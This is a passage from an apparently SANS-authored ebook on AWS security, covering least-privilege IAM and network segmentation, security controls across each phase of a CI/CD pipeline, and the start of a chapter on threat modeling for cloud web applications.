privilege models in use. This tool helps organizations identify potential security risks in the AWS environment by analyzing the resource-based policies applied to resources within their zone of trust (the current account). When AWS IAM Access Analyzer identifies any policy that allows access to those resources by a principal that isn’t within the zone of trust, the service generates a finding/alert. Security teams can use the information in each finding, such as the resource, access level and principal that has access, to determine whether the access is necessary or unintended. If the access is unintended, and therefore a risk, security teams can modify the policy to remove the access and work toward a least privilege identity model. With an isolation and segmentation technique, each account is a completely isolated set of resources that can be configured to access resources in other accounts. For multi-account strategies employed to limit the post-compromise risk and provide highly granular least privilege access models, AWS IAM is a critical element of managing the access between accounts. AWS Organizations is a service that organizations can use to define policies and guardrails to apply across multiple AWS accounts from a master control level. With AWS Organizations, you can create service control policies (SCPs) that really govern the use of other IAM policies. AWS Organizations can control the entire account, group and role life cycle with regard to policy application, and can do so for accounts that need to interact or have some relationship. Some basic examples of how AWS Organizations could be practical would be governing business unit (BU) account use (because they may have totally different needs, but still need some central control or billing), as well as governing and controlling DevOps and other team accounts (for the same reasons). AWS Organizations is the linchpin of a multi-account scope of impact limitation strategy in AWS— limiting the scope of impact to the smallest possible surface area prevents attackers from leveraging one compromised asset to access another. Creating a centralized policy model within AWS Organizations can allow security administrators to create different and least privilege policies for the appropriate accounts and assign them and/or revoke them easily. The service also provides a “master” rollup account that is often also the “payer” account that gets the consolidated billing for AWS accounts. Setup and configuration of multi-account architectures have long been considered challenging and complicated tasks, especially for large organizations. Fortunately, numerous services and design models have been created within AWS to help with this. A sample multi-account framework to start from, called a “Landing Zone,” was proposed by cloud engineering experts several years ago, but creating and managing even this led AWS to create a new service, called AWS Control Tower, that can automatically deploy a multi-account starting architecture. Enterprises can then use AWS Control Tower to create and implement defensive guardrails such as AWS Config monitoring rules, infrastructure-as-code definitions Automating Compliance and Securing Data and Applications in AWSin AWS CloudFormation, and strict identity policies that restrict permissions and privileges across accounts, enable data encryption and much more. Least Privilege Pillar 2: Network Segmentation for Access Control The second major component of a traditional least privilege design model is network segmentation that is closely aligned with a specific type of system or workload. This is often termed “microsegmentation.” A least privilege concept of network segmentation strives to prevent would-be attackers from using unapproved network connections to compromise systems, move laterally from a compromised application or system, or perform any illicit network activity regardless of environment. By potentially eliminating lateral movement, a least privilege microsegmentation model also reduces the scope of impact when an attacker has illicitly gained access to an asset within a data center or cloud environment. The classic model for implementing least privilege at the network level starts with a network access control policy of Deny All and then adds only those types of network access needed. Microsegmentation with Cloud-Native Controls The first category of focus for any cloud network isolation and segmentation should be the core network zone associated with cloud accounts. In AWS, this is known as the virtual private cloud (VPC), and this can contain any number of distinct network subnets. Cloud-native access controls can be created and applied within the VPC and should be used for isolating and controlling traffic flow into the VPC subnets altogether, as well as to and from instance workloads running applications and services. “A least privilege concept of network segmentation strives to prevent would-be attackers from using unapproved network connections to compromise systems, move laterally from a compromised application or system, or perform any illicit network activity regardless of environment.” 73AWS has two built-in types of network access and isolation controls: security groups and network access control lists (NACLs). Use security groups and NACLs to control traffic into and out of network deployments. Security groups apply to instances and are stateful, whereas NACLs apply to VPC subnets and are stateless. Table 1 provides a breakdown of security groups versus NACLs. It’s a good idea when planning cloud deployments to build a map or breakdown of the data types that will be accessed and used in the cloud, where they will be stored and who will need access to them. This exercise also enables teams to do a much more effective job of creating role and privilege strategies. In general, it’s best to sparingly apply NACLs to either allow or deny known trusted or malicious IP addresses and subnets. The majority of the network access controls (NACs) should be defined and applied through the use of security groups. Because security groups begin in a “default Deny” state, it’s much easier to create a least privilege model with them. Security personnel can enable Amazon VPC Flow Logs to track communications between assets in a VPC to ensure that no unusual or unexpected access is allowed, but a more complete coverage option to audit large numbers of security groups is to look into third-party network policy analysis tools that can ingest security group definitions and analyze them at scale. Advanced Network Security Segmentation and Access Controls To segment and control traffic at the application layer, or define policies focused more on application details and protocols, a third-party solution likely makes more sense, and many cloud options are available for enterprise-class networking. Most major cloud providers offer enterprise-class solutions that are capable of providing more granular policies and monitoring. Today’s next-generation firewall (NGFW) platforms are often used to provide network intrusion detection and prevention, traffic inspection and behavioral monitoring, and centralized configuration and administration alongside existing on-premises NGFW platforms if desired. Leading providers include Palo Alto Networks, Fortinet, Sophos and others. Apply to instances Only support Allow rules (layered on a default Deny) Are stateful Are considered in their entirety before traffic is allowed Must be associated with an instance to applyOperate on VPC subnets Support both Allow and Deny rules Are not stateful Are processed in numerical order Apply automatically to all instances in a subnet Table 1. Differences Between Security Groups and NACLs Security Groups NACLs Automating Compliance and Securing Data and Applications in AWSSegmentation/Isolation Best Practices There are many well-known security fundamentals that organizations can follow when planning for and implementing least privilege network isolation and segmentation in the cloud. First, be sure to consider what types of architectures make the most sense. For example, you can create all distinct assets in one very large VPC and control access with security groups and NACLs, or create a much more granular isolation strategy with multiple accounts and VPCs. Most major cloud providers support the concept of peering between virtual networking boundaries. VPC peering enables organizations to couple distinct VPCs together, allowing assets in one network to talk to assets in another. This capability can be incredibly useful in a design model because you can create true hub- and-spoke network designs that require traffic to pass through a transit zone of some type (through a dedicated security zone with intrusion detection and other controls, for example). VPC peering is not transitive (i.e., there is no need to specifically allow it for each VPC peered together). In this case another type of platform, called a “transit gateway,” can simplify multi-VPC architectures significantly. This resource, which can be managed through the AWS Resource Access Manager service (for managing assets across accounts), can help teams create a more traditional hub-and-spoke model of network connectivity that will then have security groups and NACLs applied as needed. Much like route control, transit gateways can have IPS or firewall appliances attached as well, making these ideal for a central security control point. For managing multiple transit gateways, the AWS Transit Gateway Network Manager (AWS Network Manager) service enables organizations to manage all connected hybrid cloud network zones connected to and through transit gateways in a single dashboard. In many cases, teams set up a “transit VPC” with an NGFW platform as described earlier to process traffic to all other zones peered within the network architecture. To summarize how IAM and core networking controls can facilitate a least privilege cloud deployment, be sure to: • Plan IAM roles and permissions to protect access to and use of VPC resources and services . Many VPC objects and services can easily be controlled through IAM, including EC2 workloads, containers and much more. • Leverage security groups and NACLs to the full extent. These controls provide built-in cloud-native NACLs to workloads and between subnets. If you need more control (and you likely will), consider a third-party virtual firewall/IPS appliance as a gateway. 75Least Privilege Pillar 3: Cloud Security Posture Management Cloud security posture management (CSPM) tools can assess the actual control plane of the cloud environments in use for compliance assessment, operational monitoring, DevOps integrations, risk identification and risk visualization. A CSPM platform should continuously monitor cloud security risk and potentially implement configuration changes in the cloud environment that facilitate least privilege access and much more. These tools also offer threat detection, logging and reports. In addition, they usually provide automation to address issues ranging from cloud service configurations to security settings as they relate to governance, compliance and security for cloud resources. Because many cloud platform settings relate to networking and IAM configuration, having a continuous monitoring engine that highlights over-allocation of privileges and permissive traffic policies can be invaluable. Having interoperability between monitoring and automation is a critical advantage of a CSPM. For enterprises grappling with hybrid architectures and container environments, where misconfiguration is a common threat to cloud security, a CSPM tool is an excellent step toward implementing continuous monitoring and alerting for the cloud provider fabric configuration. Common misconfigurations tend to be present with identity controls, workload security, logging enablement, network configurations and more. Organizations that are moving to or currently in hybrid deployment scenarios should strongly consider CSPM tools. A Least Privilege Use Case For an organization planning on deploying to a platform-as-a-service (PaaS) or infrastructure-as-a- service (IaaS) cloud environment with a focus on least privilege, there are multiple recommended steps: 1. Identify roles and responsibilities for team members requiring access to the cloud infrastructure. 2. Determine the type of network access needed. 3. Evaluate IAM roles and privilege assignments. 4. Monitor the cloud control plane. Automating Compliance and Securing Data and Applications in AWSIn the first step, those responsible for the least privilege strategy carefully identify roles and responsibilities for any cloud engineering, DevOps and security team members that may need access to the cloud infrastructure. This should always be the first priority because the account owner (the root account) is one that should be almost wholly disabled, other than for billing and a potential “break glass” scenario if disaster strikes. These privileged users should be established through federation and role integration if possible, or standalone users within defined groups if not. It’s best to assign the cloud provider’s predefined policies that match these administrative roles whenever possible because these are likely to be the most accurate and well-structured. Even with that said, some of these can be used as beginning policies from which to reduce privileges as needed. The next step is to determine what type of network access is required from the internet, from a hybrid cloud dedicated network connection and within the cloud environment itself. This step requires a review of application and service architecture to define data flows with TCP/UDP ports and application behavior profiles that planners can use to carefully restrict the types of traffic needed for operations. Organizations should plan to start with cloud-native networking controls like security groups and NACLs, which allow for a strong microsegmentation approach that can be managed through infrastructure-as- code (IaC) templates, such as AWS CloudFormation or HashiCorp Terraform, and monitored through API logs and metadata queries. For more robust network security, many enterprises will want to adopt a VPC peering arrangement for additional isolation, possibly with a third-party NGFW platform introduced to provide additional application-layer protection. Throughout this entire process, identity, development and security teams should evaluate IAM roles and privilege assignments for workloads, services and all interaction between assets in the environment. Fortunately, tools such as AWS IAM Access Analyzer can be used to perform a deep dive into assigned roles and privileges for all components within a defined trust zone such as an account. Access logs: All S3 access and activities can be logged to a separate bucket for collection and analysis. All teams involved should be invested in leveraging reports and alerts from tools like this to continuously look for opportunities to reduce privilege allocation wherever possible. This is an ongoing effort that will likely continue over time, because applications and assets continuously change and update within dynamic cloud environments. Finally, it’s a good idea to consider a CSPM platform to continuously monitor the cloud control plane itself, looking for exposure and potential configuration pitfalls that could inadvertently allow for unintended or privileged access into services or the environment as a whole, as well as internal mappings of network and identity orientation that may be improved upon. For large, complex deployments, these types of third-party solutions can provide an extra set of eyes and ears on the cloud deployments overall. 77Conclusion A least privilege cloud architecture should include authentication and authorization controls, network access and inspection controls, and monitoring/enforcement controls for both the network and workloads. No single technology currently will provide a full least privilege design and implementation— organizations need to implement a combination of tools and services to provide the full degree of coverage needed. For most organizations, a hybrid approach of both cloud-native and third-party controls will make the most sense. To implement a least privilege cloud environment, start with user and administrative access, followed by multi-account identity management, if applicable. From there, focus on network architecture and access control design, using cloud-native controls as the first line of defense and applying third-party controls for more robust defenses. Throughout all deployments, continuously evaluate privilege allocation and role assignments to find potential over-allocation of privileges where they may exist. Once the cloud environment is up and running, a CSPM platform may make sense to continuously monitor the configuration. More tools and services are available than ever before to aid in building and maintaining a cloud infrastructure that adheres to the principle of least privilege. A commitment to continuous oversight is critical because cloud environments tend to change rapidly. Implement tools as needed to provide adequate logging and alerting to ensure security teams are aware of how the environment is operating at all times. About the Author Dave Shackleford, a SANS analyst, senior instructor, course author, GIAC technical director and member of the board of directors for the SANS Technology Institute, is the founder and principal consultant with Voodoo Security. He has consulted with hundreds of organizations in the areas of security, regulatory compliance, and network architecture and engineering. A VMware vExpert, Dave has extensive experience designing and configuring secure virtualized infrastructures. He previously worked as chief security officer for Configuresoft and CTO for the Center for Internet Security. Dave currently helps lead the Atlanta chapter of the Cloud Security Alliance. Automating Compliance and Securing Data and Applications in AWS“This chapter focuses on the changing nature of application development and deployment— namely, more dynamic and more agile, with DevOps necessitating a heavy emphasis on monitoring, secrets management, privilege management, and many other security measures. For security teams to properly secure the CI/CD pipeline without creating barriers and roadblocks, a variety of governance practices are necessary, and more automated controls that integrate with development pipelines are important, too. In fact, the best app pipeline security controls and processes are embedded to create a DevSecOps model and culture.”Dave Shackleford SANS Senior Instructor & Author Chapter 8: How to Secure App Pipelines in AWS Automating Compliance and Securing Data and Applications in AWS 79We are seeing nothing less than an evolutionary shift as security infrastructure moves to software- defined models that improve speed and scale, and afford enterprise IT more agility and capabilities than ever before. Application development and deployment are driving this shift, and as the pace of development increases, organizations have a real need to ensure application security is embedded in all phases of the development and deployment life cycle, as well as in the cloud during operations. Much like other areas of security, the responsibility for application security varies in the cloud widely, depending on the model in place. In a software-as-a-service (SaaS) model, the provider is entirely responsible for application security in almost every case. With a platform-as-a-service (PaaS) model, the provider supplies the underlying systems and templates, so it has a significant degree of control and responsibility— although any applications developed by the consumer are necessarily the consumer’s own responsibility, and that extends to the security. With an infrastructure-as-a-service (IaaS) model, entire workloads and their contents (including application components) are the responsibility of the consumer. In this paper, we delve into the changing nature of application development and security as organizations are building and deploying applications for the cloud. We’ll cover the various phases of a modern application pipeline and discuss some of the security controls that organizations should consider implementing in each. We’ll also touch on a number of other critical areas such as privilege management, containers and orchestration, and automation. How the SDLC Is Changing The software development life cycle (SDLC) has moved to a methodology that prioritizes collaboration and more frequent (yet smaller) updates to application stacks. Standards for code quality and security, as well as application workload configuration, should be defined and published so that all teams have something to measure throughout the entire application life cycle. Ideally, organizations will lock down cloud workloads as much as possible, running a minimum of necessary services. They should also revisit configuration requirements to ensure that any cloud-based infrastructure is resilient. To shift toward a more collaborative culture, security teams need to integrate with the developers responsible for promoting code to cloud-based applications. Security teams can impress upon development and operations that they bring a series of tests and “quality conditions” to bear on any production code push without slowing the process. Security teams should work with quality assurance (QA) and development to define certain parameters and key qualifiers (such as bug count and severity) that need to be met before any code is promoted. Automating Compliance and Securing Data and Applications in AWSIn addition, security teams need to determine which tools they can use to integrate into the application pipeline. They also need to identify areas and controls that may need to be updated or adapted to work in a Continuous Integration and/or Continuous Delivery model (covered in the next section). It is likely that new standards for many security prevention, detection and response capabilities should be revisited, as well. Examples of these areas include encryption, privileged user management, network security access controls, event management, logging policies and incident response strategy. Once initial processes, policies and standards have been defined and agreed upon, the security team should focus on automation and seamless integration of controls and processes at all stages of the deployment pipeline. The Modern CI/CD Pipeline Many organizations are adopting Continuous Integration (CI) and Continuous Delivery (CD) for their cloud application pipelines. CI is often the most feasible part of the application development life cycle to be targeted by a team looking to speed up and implement more collaborative development practices. With CI, all developers have their code regularly integrated into a common mainline code base. This practice helps to prevent isolation of code with individual developers and can also lead to more effective control over code in a central repository. CD is usually exhibited through small, incremental and frequent code pushes (often to stage or test environments), as opposed to the more traditional way of pushing code as large releases to production every few weeks or months. Modern development practices (e.g., Scrum, Kanban, Crystal, etc.) often release code more frequently than older models (e.g., waterfall) in an SLDC. CD means you deliver code to production in an automated pipeline, which is less common in traditional enterprises. “The SDLC has moved to a methodology that prioritizes collaboration and more frequent (yet smaller) updates to application stacks.” 81Modern cloud application pipelines strive for a number of goals and focal areas: • Automated provisioning — The more automated the provisioning of resources and assets is, the more rapidly the SDLC and operations model can operate. • No-downtime deployments — Because cloud services are based on service-oriented costing models, downtime is less acceptable. • Monitoring — Constant monitoring and vigilance of code and operations help to streamline and improve quality immensely. • Rapid testing and updates — The sooner code flaws can be detected, the less impact they’ll have in a production environment. Rapid and almost constant testing needs to occur for this to happen. • Automated builds and testing — More automation in the testing and QA processes will help to speed up all activities and improve delivery times. Protection for application workloads requires a dedicated commitment to security at many levels of any organization. A sound governance model that includes collaborative discussions about code quality, system builds, architecture and network controls, identity and access management, and data security is critically important to developing the standards for controls and security posture (mentioned earlier). Ideally, the following types of roles will be a part of any cloud application security and development model: • Application development teams • Cloud architecture and engineering teams • Security architecture and operations teams • IT in infrastructure teams (server engineering, database management and more) • Compliance and legal teams (where appropriate) • Business unit management (where appropriate) Automating Compliance and Securing Data and Applications in AWSMake sure that your security teams discuss: • Standard and planned coding and release cycles — If the development teams plan on doing CI, how will the code be centrally stored and managed? Security teams should focus on code scrutiny and auditing the code storage/management platform and tools. • Tools in use for development, testing and deployment — Automated testing suites are ideal, but security teams need to understand the tools the development teams plan to use so that they can become familiar with platform security, logging and privilege/credential management. • How security can best integrate with the teams — Ideally, security teams will have some understanding of development practices, and will know how to write test scripts and infrastructure-as-code templates where applicable. • Expected standards and behaviors — If there are no standards to adhere to, what will the team seek to enforce? Think about standards for secure coding, configuration benchmarks (like CIS and others) and vulnerability scan results (what is acceptable to be released). In addition, security teams should define policies for components, networks and architecture where they can. In other words, they should ask: Where can security create policies that are embedded and applied automatically? Examples might include: • Configurations for instances and images used in development and production • App deployment and automation security • Expected and accepted standards (What does a successful and secure component or deployment look like? Start with the end in mind to ensure you have a target goal.) One additional area of IT that will likely need to adapt is change management. In traditional IT environments, change requests are often created for weekly or biweekly change windows, where IT staff make changes during the scheduled times (usually off-hours). In a fast-moving cloud application environment, much more rapid changes will need to be allowed. Teams will usually need to adapt by deciding ahead of time which severity of changes will be allowed to occur without prior approval or review versus those that will need more attention. Collaboration platforms can also be useful for enabling more rapid discussions about proposed changes as needed. 83Security in the CI/CD World When integrating into a cloud-focused application development model, security teams need to focus on the following: • Code security — How is code being scanned for vulnerabilities? • Code repositories — How is code being checked in and checked out, and by whom? • Code repositories — How is code being checked in and checked out, and by whom? • Automation tools — What tools are in use to automate builds, deployments, etc.? How can security integrate with these? • Orchestration platforms — How are orchestration tools being used to coordinate and automate infrastructure and cloud components? • Gateways and network connectivity — How can the teams ensure secure connectivity to the cloud for deployments? Authentication/authorization and privileged user monitoring and management are critical, too. While this sounds obvious, cloud application development pipelines tend to include high-privilege users doing lots of activities, and overallocation of privileges can quickly become an issue without oversight and planning. “A sound governance model that includes collaborative discussions about code quality, system builds, architecture and network controls, identity and access management, and data security is critically important to developing the standards for controls and security posture.” Automating Compliance and Securing Data and Applications in AWSWhen planning for cloud application development, security teams first need to work with application development groups to perform threat modeling and risk assessment for the deployment types that they envision. By performing a threat modeling exercise, security and development teams can better understand the types and sensitivity levels of the assets they protect, how to manage and monitor them in the cloud, and the most likely threat vectors for those assets. The type of data that is stored, transmitted and processed makes a difference when assessing the risk of systems and applications in the cloud. Some data types dictate specific security controls, as well as provisioning into compliant cloud provider environments. Risk assessment and analysis practices should be updated to continually review the following: • Cloud provider security controls, capabilities and compliance status • Internal development and orchestration tools and platforms • Operations management and monitoring tools • Security tools and controls, both on premises and in the cloud After risk reviews, and keeping the shared responsibility model in mind (meaning cloud providers and consumers share responsibility for security at different layers of the stack), security teams should have a better understanding of what controls they currently have, what controls they need to modify to successfully operate in the cloud, and what the most pressing concerns are (as they change). It’s almost a guarantee that some security controls—tools, processes, policies, etc.—won’t operate the way they did on premises, or won’t be available in cloud service provider environments in the same format or with the same capabilities. Security for the CI/CD Pipeline In the modern CI/CD pipeline for cloud application development and deployment, one of the most pressing needs for all teams is automation, far beyond what we’ve traditionally seen in enterprise data centers. With cloud deployment moving faster than ever, security and development teams need to automate static code security scans, dynamic platform build and QA application and vulnerability tests. They also need to automate most (if not all) configuration and operations tasks, including web application firewall (WAF) deployments and network access controls (NACs). 85For cloud deployments, all application development teams, as well as security teams, also need to embrace API integration/use. Providers like Amazon Web Services (AWS)1 operate a completely software- based infrastructure that may offer sophisticated APIs for creating workloads, adding security controls around those workloads, updating and integrating new code and images for containers, and much more. In keeping with the theme of automation, scripted and programmatic methods of automating deployments need to make heavy use of provider APIs. Security teams have a number of security controls and areas of emphasis to consider for all phases of the application development and deployment pipelines, as shown in Figure 1 and discussed in the following sections. Code/Develop Ideally, your organization already follows secure coding practices. Security and development teams need to discuss standards for languages and frameworks to make sure risk is acceptable before deployment. This objective can be a tall order, and secure coding and development practices are still not all that commonplace today. Look into static code analysis tools, and ensure the code is secured within repositories: • Are check-in and check-out procedures defined? • Do solid role-based access controls exist? “When planning for cloud application development, security teams first need to work with application development groups to perform threat modeling and risk assessment for the deployment types that they envision.” 1 This paper mentions the names of products and services to provide real-life examples of how security tools can be used. The use of these examples is not an endorsement of any product or service. Automating Compliance and Securing Data and Applications in AWSCloud providers often have options available for code storage and management that include authentication with strong identity management and robust logging/tracking of activity. AWS CodeCommit is a fully managed source control service that hosts secure Git-based repositories that encrypts all files both in transit and at rest, integrates with AWS Identity and Access Management (IAM) for controlling privileges and access to code stores, and logs all activity in AWS CloudTrail. Additionally, AWS CodeCommit has a wide range of APIs available that can enable automation and integration with third-party static code analysis tools for code analysis and review by security teams. Code can be automatically scanned upon check-in, and bug/vulnerability reports can be sent automatically to the appropriate teams. Build Operate Package TestCode/ Develop Deploy/ Upgrade Figure 1. Phases of Application Development and Deployment Pipelines 87Build Building code and workload stacks for cloud applications should incorporate automated and intelligent security controls as well. This stage should include: • Validated code • An approved build architecture and controls • Automated build testing for compiled code Above and beyond the aforementioned automation and security controls and processes, we need automated reporting that goes to the proper parties for review. This is what will ultimately contribute to a more effective vulnerability management program across the environment. Much like the previous phase of development (code/develop), the build phase can often be securely implemented within cloud provider environments. AWS CodeBuild is a fully managed CI service that compiles source code, runs tests and produces software packages that are ready to deploy. Managing encryption of build artifacts is critical, and AWS CodeBuild integrates with AWS Key Management Service (KMS). AWS CodeBuild also integrates with AWS IAM for control over privileges to builds and compiled code, and all activity is also logged to AWS CloudTrail Package Packaging is the phase of application development when the build is updated with additional software packages, some of which may be open source or from in-house repositories. It is important for development and security teams to audit open source modules for flaws, then discuss methods to protect code repositories automatically. A regular schedule for threat and vulnerability updates with the development and operations teams should be decided upon and incorporated into defined processes. “Security and development teams need to discuss standards for languages and frameworks to make sure risk is acceptable before deployment.” Automating Compliance and Securing Data and Applications in AWSSome traditional vulnerability scanning vendors have adapted their products to work within cloud provider environments, often relying on APIs to avoid manual requests to perform more intrusive scans on a scheduled or ad hoc basis. Another option is to rely on host-based agents that can scan their respective virtual machines continually or as needed. Ideally, systems will be scanned on a continuous basis, with reporting of any vulnerabilities noted in real or near real time. AWS Systems Manager can be used to manage package repositories and secure build images with up-to-date patches and libraries. Tools like Trend Micro Deep Security can help to automate application protection and package validation for workloads, too. Test The testing phase is one that can be highly automated. Consider both static and dynamic tools, depending on builds. Keys for security teams during the testing phase are: • Run security testing that’s as seamless as possible (avoid interfering with QA if you can help it). • Define test cases and tools. • Define acceptable outcomes that meet policy. • Automate tools and teach developers/QA engineers to run them. The last point is a crucial one—security teams need to hand off tools to the application developers wherever possible and not insert themselves into every process. Involvement is key, but running test tools is something the application teams can do. Security should only perform pen tests and continuous monitoring activities regularly once policies and standards are defined. Using open source build testing tools like Test Kitchen and Vagrant can simplify internal policy validation before you push them, and also in an ongoing fashion. To coordinate penetration tests and routine checks to validate policies’ effectiveness, ask: • Are only required ports open? • Are credentials secured? 89• Are encryption keys secured? • Are privileges assigned properly? Really, any specific elements of your configuration standard or expected posture should be continually validated and assessed using automated orchestration tools and platforms. Many third-party dynamic application scanning and pen testing service providers have fully integrated into the cloud. These tests can be run upon build check-in, image update or manually as needed, with fully automated reporting sent to the right teams. Deploy/Upgrade In this phase, security teams are focused on: • Documentation — Note any bugs that are outstanding; document plans to fix and when. • Communication — Coordinate with development and operations teams to instantiate any controls needed for remediation or stopgaps. • Life cycle — Ensure an approved policy for bug remediation is in place and monitored for future release cycles. Even though you’ll still have bugs, make sure to fix any of a certain severity before you push applications and systems out the door. Deployment involves more on the operations side. Ideally, controlled and automated deployments will be coordinated and controlled by operations with input from the application development teams involved. Where does security fit? • Nothing new is added/changed once approved builds are ready. • Deployment is done to the appropriate location/endpoints. • Deployment is performed over a secure channel for cloud (TLS/SSH). • Checks exist to ensure a failed deployment rolls back. Automating Compliance and Securing Data and Applications in AWSIt is critical for security teams to be invested and involved in the development stage. Secure network channels should be established for any deployment activities, which likely involves the use of dedicated circuits like AWS Direct Connect, VPN tunnels using IPSec and/or secure certificate-based HTTPS with strong cryptographic TLS implementations. Image validation—which will heavily rely on automation and a combination of vulnerability scanning and host-based agents that can validate all libraries, binaries and configuration elements used in the application workloads—should also take place at this phase. Orchestration engines are useful for some of these tasks, as are cloud-native tools like AWS OpsWorks that can reliably and securely handle the configuration and assessment of application images. Operate This final stage primarily focuses on protection of applications with tools like NACs and WAFs, as well as monitoring, logging and alerting. Define security use cases for production operations by answering the following questions: • What events should trigger alerts? • What events should trigger automated remediation? • What event severities should be in place? • What controls are needed to properly secure the environment? For starters, teams should define deployment attributes that can be monitored continuously. Examples of quick wins for monitoring include the following: • Types of instances allowed to be deployed (size and build) • Image expected for deployment • Location/source of deployment (such as IP address or account/subscription) • IAM or other user invoked in operations 91These attributes should all be known and relatively inflexible, and can easily be used as simple trigger points for alerting or even automated rollback or preventative actions. For example, if an instance type of m1.small is deployed, and the only approved type is t2.micro, this trigger could cause the workload to shut down entirely. Cloud-native or third-party web application firewalls like AWS WAF can easily be set up to block malicious application attacks like SQL injection, cross-site scripting (XSS) and others. In addition, they can perform manual or automated blocking of IP addresses based on threat intelligence that incorporates reputation analysis. WAFs can generate detailed logs, too, which security teams can then stream back to a central analysis engine like a SIEM platform. Best Practices To summarize, Table 1 describes the key security areas of focus in the modern cloud application development pipeline. Code/Develop Build Package Test Deploy/Upgrade OperateLook for static code analysis tools that are in place and performing (ideally) automated code scans for checked-in code. Reports from these scans should be sent to stakeholders that include security teams and/or application developers. Tools like Jenkins can be used to create builds, and they often have many plug-ins and local controls that should be tuned. What types of builds are allowed, and where are the images stored? A secure location where image security and integrity are controlled is paramount for this phase. Code will need to be packaged for installation on builds, and this should be done through automated tools that also have the appropriate permissions and access controls (keys to check out code, for example). The test phase should include Dynamic Application Security Testing (DAST) tools, as well as (possibly) traditional network vulnerability scans and various flavors of pen tests. Only approved builds with packages/software that passes testing should be deployed over a secure channel. Now we’re in operations, where we should have “guardrails” set up like the appropriate account/ subscription separation, IAM policies, network controls and logging/monitoring.Table 1. Considerations for Key Security Phases Focus Phase Automating Compliance and Securing Data and Applications in AWS Build Operate PackageCode/ Develop Deploy/ Upgrade Test Secrets Management API Management Privilege Management and IAM Containers and Container Management Management of Serverless Applications and Securty Figure 2. Additional Security Considerations Throughout the Life CycleAdditional Development Security Concepts for Cloud Along with core security controls and practices in each major phase of a modern development pipeline, some additional topics and concepts should be in place. Think of these as overarching concepts that apply throughout the entire life cycle. Figure 2 illustrates these concepts, which we cover in the following sections. Secrets Management A critical aspect of managing security in a cloud environment is to carefully limit and control the accounts and privileges assigned to resources. All users, groups, roles and privileges should be carefully discussed and designated to resources on a need-to-know basis. The best practice of assigning the least privilege model of access should also be applied whenever possible. Any privileged accounts (such as root and the local administrator accounts) should be monitored closely—if not disabled completely or used only in break-glass procedures. 93In addition to privilege management in configuration definitions, application development teams need to ensure no sensitive material like encryption keys or credentials is stored in definition files, on systems that are exposed or in code that could be exposed. As encryption and data protection strategies are increasingly automated along with other development activities, it’s critical to make sure the proverbial keys to the kingdom are protected at all times. In the cloud, this can be easily accomplished with a variety of tools like AWS Key Management Service (KMS) and AWS Secrets Manager. API Security As mentioned earlier, APIs are integral to building a robust and automated development pipeline. The security posture of APIs should be documented by providers, and all APIs should be strongly controlled through IAM policies. Use of APIs should be carefully monitored, too, with full logging to AWS CloudTrail and other logging engines. Privilege Management and IAM Strong privilege management is a necessity in fast-moving application pipelines. Integration with secrets management tools and a granular IAM policy engine like AWS IAM is crucial, along with federation capabilities and integration with directory services. Security teams should help to define the appropriate least privilege access models needed for all stages of application development and deployment, and then implement this in a centralized tool/service whenever possible. A fragmented privilege management and IAM implementation strategy often leads to poor operational oversight of users, groups and permissions, so a single policy engine should be used if at all possible. In addition to these overarching technology concepts, some newer technologies are also being heavily used in application development and deployments today, including containers and serverless applications, discussed next. “Application development teams need to ensure no sensitive material like encryption keys or credentials are stored in definition files, on systems that are exposed or in code that could be exposed.” Automating Compliance and Securing Data and Applications in AWSContainers and Container Management/Orchestration Containers are rapidly becoming a common means of quickly deploying application workloads in both internal and cloud environments. Containers are created on a shared OS workload, and both the runtime container image and the underlying OS platform need to be secured and maintained much like other images described earlier. Having a secure repository for container images like Amazon Elastic Container Registry (ECR), as well as orchestration tools that can be used for starting, stopping and managing container deployments securely like Amazon Elastic Container Service (ECS) and Amazon Elastic Kubernetes Service (EKS), is important for enterprises using containers in the cloud. Encryption and IAM controls for images, as well as strong logging for all activities should be priorities. Serverless Applications and Security A final type of technology that many application development teams are employing is serverless, which offloads the entire workload (container and OS instance) to the provider’s backplane, allowing developers to create microservices applications that only require application code to be uploaded and operated within the cloud provider environment. Serverless security should involve static code review (numerous third-party providers can integrate into serverless environments like AWS Lambda to scan the code), privilege and permission control over all serverless applications with IAM, and complete logging of all serverless application updates and execution using tools like AWS CloudTrail. Use Case For modern hybrid application development pipelines, security needs to be integrated in a number of places. Imagine a fictional organization, ACME Corporation, that needs to integrate security into its hybrid cloud application pipelines with both on-premises resources and those running in AWS. Internal code repositories are synchronized from on-premises code repository tools with AWS CodeCommit across an AWS Direct Connect channel, where all code is encrypted and protected with strong IAM policies that restrict code access and updates to a limited team of developers. All code updates, check-ins and check- outs are logged and recorded in AWS CloudTrail. A third-party static code analysis tool is integrated into AWS and automatically scans all code that is updated and checked in. Reports are automatically sent to security and development team members to review the criticality of bugs discovered for remediation. AWS CloudFormation templates are used to create builds with approved Amazon Machine Images (AMIs) and container images stored in the Amazon ECR, which is also carefully controlled through IAM policies. In the build and update phases, a dynamic vulnerability scanning platform with agents and network scanning capabilities is integrated to scan all application builds for libraries, binaries 95and OS configurations to ensure no vulnerabilities are present before deployment. Reports are again automatically generated and sent to team members for review. If the reports show that all images meet pre-approved standards, the images are then pushed into deployment with defined orchestration using Amazon EKS and Amazon EC2 instances with AWS Systems Manager installed for monitoring and administration. Once deployed, AWS WAF is enabled to protect applications from malicious application attacks. Summary For modern application pipelines, there are a plethora of tools available from cloud providers and third-party companies to help automate strong security controls through the entire development and deployment process. A strong governance structure is critical to ensure all stakeholders are involved and on board with the new tools and processes needed, and security operations teams will need to help define standards for code and images, as well as build strong protective and detective controls in the cloud environment. About the Author Dave Shackleford, a SANS analyst, senior instructor, course author, GIAC technical director and member of the board of directors for the SANS Technology Institute, is the founder and principal consultant with Voodoo Security. He has consulted with hundreds of organizations in the areas of security, regulatory compliance, and network architecture and engineering. A VMware vExpert, Dave has extensive experience designing and configuring secure virtualized infrastructures. He previously worked as chief security officer for Configuresoft and CTO for the Center for Internet Security. Dave currently helps lead the Atlanta chapter of the Cloud Security Alliance. Automating Compliance and Securing Data and Applications in AWS“As organizations transition their workloads into public clouds, a whole host of new attack vectors emerge, along with new tools to protect. Organizations are faced with the daunting task of trying to cover all the vulnerabilities with limited time and budget. In this chapter, I explore how to stand up a threat modeling program that helps organizations prioritize mitigations and understand the changing threat landscape in the cloud by examining real-world use cases.”Shaun McCullough SANS Instructor Chapter 9: How to Protect a Modern Web Application in AWS Automating Compliance and Securing Data and Applications in AWS 97Introduction As businesses move more assets to the cloud, having a security plan is essential, but nobody has the time or resources to do everything that is needed from the start. Instead, organizations need to prioritize their security plans based on the risks to which they are exposed. Too often, organizations start with securing the service they know best or have read about in a blog, or they try to buy their way out of the risks with multiple, expensive security appliances. While the team is knee-deep in 